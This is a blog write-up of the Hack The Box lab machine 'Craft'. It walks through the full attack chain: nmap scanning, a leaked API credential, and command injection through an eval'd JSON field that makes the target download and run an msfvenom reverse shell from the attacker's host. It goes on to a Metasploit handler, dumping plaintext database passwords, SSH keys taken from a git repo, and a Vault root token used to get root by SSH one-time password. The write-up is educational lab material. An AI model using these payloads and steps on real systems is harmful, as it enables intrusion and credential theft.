binaryfigments.com

My thoughts about IT and infosec.

Hack The Box Craft

Craft is a Linux machine on hackthebox.eu with some techniques and problems that you can find in real life.

What can you find:

  • GOGS, Git web application
  • GNU/Linux OS
  • Python (API) code
  • MySQL connection with pymysql
  • Vault with SSH OTP

Things that you will find to hack this box:

  • Password stored in sourcecode
  • Password reuse
  • Vulnerable python based API (eval)
  • Command injection
  • SSH private key in a git repo
  • Vault SSH rights for root

First things first, run nmap and see what kind of services we have.

root@kali:~/HTB/Craft# nmap -p- -sC -sV -oA nmap 10.10.10.110
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-30 21:46 CET
Nmap scan report for api.craft.htb (10.10.10.110)
Host is up (0.032s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey: 
|   2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
|   256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_  256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp  open  ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after:  2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
6022/tcp open  ssh      (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-Go
| ssh-hostkey: 
|_  2048 5b:cc:bf:f1:a1:8f:72:b0:c0:fb:df:a3:01:dc:a6:fb (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6022-TCP:V=7.80%I=7%D=12/30%Time=5E0A6281%P=x86_64-pc-linux-gnu%r(N
SF:ULL,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 104.65 seconds

Now browse the website. The website links to 2 extra links of webservices hosted on that server.

Browse IP

Let us add those to our /etc/hosts file to access the virtual host.

# vim /etc/hosts
10.10.10.110 api.craft.htb
10.10.10.110 craft.htb
10.10.10.110 gogs.craft.htb

On Gogs, I see the source code of the API. And, there is some authetication in there. While searching this, I stumbled up on this commit:

https://gogs.craft.htb/Craft/craft-api/commit/10e3ba4f0a09c778d7cec673f28d410b73455a86

api-login-gogs

Login information gathered:

auth=('dinesh', '4aUh0A8PbVJxgd')

Note: I like the “Silicon Valley” touch of this box.

Now dive in to the code further. There was an issue with bogus values:

https://gogs.craft.htb/Craft/craft-api/issues/2

And Dinesh did a quick and dirty fix wich leaves a spot open for command injection.

https://gogs.craft.htb/Craft/craft-api/commit/c414b160578943acfe2e158e89409623f41da4c6

We need to give that a try. For this API we need te get authenticated and get the right token for the authetication header.

We cant authenticate with:

curl --user "dinesh:4aUh0A8PbVJxgd" https://api.craft.htb/api/auth/login
{"token":"your-token-is-here"}

Now we have a token and we can post some values to the brew API endpoint.

curl -H 'X-Craft-API-Token: your-token-here' \
  -H "Content-Type: application/json" \
  -k -X POST https://api.craft.htb/api/brew/ \
  --data '{"name":"bullshit","brewer":"bullshit", "style": "bullshit", "abv": "11.0"}

Keep in mind that your token can expire. If your token has expired, you need to get a new one with the authentication step from above.

The attack plan

My attack plan is to download a prepared shell from the webserver on my machine. For that we need te start the apache2 webserver first with service apache2 start so the target box can download a file from it. Then execute this shell on the target box and get a connection.

Global steps:

  1. Create shell with msfvenom
  2. Start session listener in Metasploit
  3. Copy the shell file to the webserver
  4. Abuse command injection to download and execute the shell
  5. Get a meterpreter session!

To speed things up, I created a file post.json with the data in it that I want to post to the API. I can copy and change that file whenever I want to try an other form of attack.

{
  "brewer": "test",
  "name": "test",
  "style": "test",
  "abv": "0.5, __import__('os').system('wget http://10.10.14.22/test.html')"
}

Note my IP: 10.10.14.22

Try this out

curl -k -d "@post.json" -H "X-Craft-API-Token: your-token-here" \
  -H "Content-Type: application/json" \
  -X POST https://api.craft.htb/api/brew/
bingo

And bingo! We can execute wget and acces my webserver! So now we also can download and execure a reverse shell!

With msfvenom we you can create a reverse shell executable that we can run on the target box.

msfvenom -p linux/x86/meterpreter/reverse_tcp \
  LHOST=10.10.14.22 \
  LPORT=4445 \
  -f elf > craft.elf

Copy the shell to the webserver with: cp craft.elf /var/www/html.

To get this shell, we neet to start a session hander in Metasploit.

msfconsole
# when it is started
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 10.10.14.22
set LPORT 4445
set ExitOnSession false
exploit -j -z

To upload the shell and run it, craft 3 JSON file that can be used to post to the API endpoint with the command injection in it.

The file: download.json.

{
  "brewer": "test",
  "name": "test",
  "style": "test",
  "abv": "0.5, __import__('os').system('wget http://10.10.14.22/craft.elf -O /tmp/craft.elf')"
}

The file: chmod.json.

{
  "brewer": "test",
  "name": "test",
  "style": "test",
  "abv": "0.5, __import__('os').system('chmod 777 /tmp/craft.elf')"
}

The file: exec.json.

{
  "brewer": "test",
  "name": "test",
  "style": "test",
  "abv": "0.5, __import__('os').system('/tmp/craft.elf &')"
}

Now it's time to run the API commands.

Step 1: Authenticate and get the token!

curl --user "dinesh:4aUh0A8PbVJxgd" https://api.craft.htb/api/auth/login

Step 2: Download the shell to the target

curl -k -d "@download.json" -H "X-Craft-API-Token: your-token-here" \
  -H "Content-Type: application/json"
  -X POST https://api.craft.htb/api/brew/

Step 3: Make the file executable

curl -k -d "@chmod.json" -H "X-Craft-API-Token: your-token-here" \
  -H "Content-Type: application/json"
  -X POST https://api.craft.htb/api/brew/

Step 4: Execute the shell!

curl -k -d "@post.json" -H "X-Craft-API-Token: your-token-here" \
  -H "Content-Type: application/json" \
  -X POST https://api.craft.htb/api/brew/

And YES! We popped a shell!

msf5 exploit(multi/handler) > 
[*] Sending stage (985320 bytes) to 10.10.10.110
[*] Meterpreter session 2 opened (10.10.14.22:4445 -> 10.10.10.110:37326) at 2019-12-30 23:28:18 +0100

Loot at the files in the directories.

meterpreter > ls
Listing: /opt/app
=================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
40755/rwxr-xr-x   4096  dir   2019-02-08 17:52:20 +0100  .git
100644/rw-r--r--  18    fil   2019-02-08 17:52:20 +0100  .gitignore
100644/rw-r--r--  1585  fil   2019-02-08 17:52:20 +0100  app.py
40755/rwxr-xr-x   4096  dir   2019-02-08 17:52:20 +0100  craft_api
100755/rwxr-xr-x  673   fil   2019-02-08 17:52:20 +0100  dbtest.py
100644/rw-r--r--  2     fil   2019-12-30 22:52:56 +0100  test.html
40755/rwxr-xr-x   4096  dir   2019-02-08 17:52:20 +0100  tests

There is a file called dbtest.py modify the file and use it to get all the users from the database.

#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)

try: 
    with connection.cursor() as cursor:
        sql = "SELECT `id`, `username`, `password`  FROM `user` LIMIT 10"
        cursor.execute(sql)
        result = cursor.fetchall()
        print(result)

finally:
    connection.close()

Upload is using the upload command in meterpreter.

meterpreter > upload /root/HTB/Craft/user.py
[*] uploading  : /root/HTB/Craft/user.py -> user.py
[*] Uploaded -1.00 B of 675.00 B (-0.15%): /root/HTB/Craft/user.py -> user.py
[*] uploaded   : /root/HTB/Craft/user.py -> user.py
meterpreter > shell
Process 126 created.
Channel 11 created.

python user.py
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'},
{'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'},
{'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]

And here are all the usernames and passwords from the database in plain text! Now we can check them if they are used elsewhere.

Login with the username and password of Gilfoyle and look at that private project.

gogs-gilfoyle

Look at this project and tha ssh keys in it: https://gogs.craft.htb/gilfoyle/craft-infra/src/master/.ssh

gogs-gilfoyle-ssh

Download them and and use them to get an SSH connection.

gilfoyle-ssh-login

What do we have further?

gilfoyle@craft:~$ ls -lah
total 36K
drwx------ 4 gilfoyle gilfoyle 4.0K Feb  9  2019 .
drwxr-xr-x 3 root     root     4.0K Feb  9  2019 ..
-rw-r--r-- 1 gilfoyle gilfoyle  634 Feb  9  2019 .bashrc
drwx------ 3 gilfoyle gilfoyle 4.0K Feb  9  2019 .config
-rw-r--r-- 1 gilfoyle gilfoyle  148 Feb  8  2019 .profile
drwx------ 2 gilfoyle gilfoyle 4.0K Feb  9  2019 .ssh
-r-------- 1 gilfoyle gilfoyle   33 Feb  9  2019 user.txt
-rw------- 1 gilfoyle gilfoyle   36 Dec 30 18:23 .vault-token
-rw------- 1 gilfoyle gilfoyle 2.5K Feb  9  2019 .viminfo

The file with the name .vault-token looks interesting. What is in it?

gilfoyle@craft:~$ cat .vault-token
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9

Can we use this token to login to the vault?

gilfoyle@craft:~$ vault login
Token (will be hidden): 
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.

Key                  Value
---                  -----
token                f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
token_accessor       1dd7b9a1-f0f1-f230-dc76-46970deb5103
token_duration       ∞
token_renewable      false
token_policies       ["root"]
identity_policies    []
policies             ["root"]

Yes we can!

What is in the vault?

gilfoyle@craft:~$ vault secrets list
Path          Type         Accessor              Description
----          ----         --------              -----------
cubbyhole/    cubbyhole    cubbyhole_ffc9a6e5    per-token private secret storage
identity/     identity     identity_56533c34     identity store
secret/       kv           kv_2d9b0109           key/value secret storage
ssh/          ssh          ssh_3bbd5276          n/a
sys/          system       system_477ec595       system endpoints used for control, policy and debugging

There is an SSH secret in it!

Take a look at this page about Vault:

https://www.vaultproject.io/docs/secrets/ssh/one-time-ssh-passwords.html

Create a OTP key role:

vault write ssh/roles/otp_key_role \
  key_type=otp \
  default_user=root \
  cidr_list=10.10.10.110/24

Create a one time credential:

vault write ssh/creds/otp_key_role ip=10.10.10.110

Login with the credential and get root!

rooted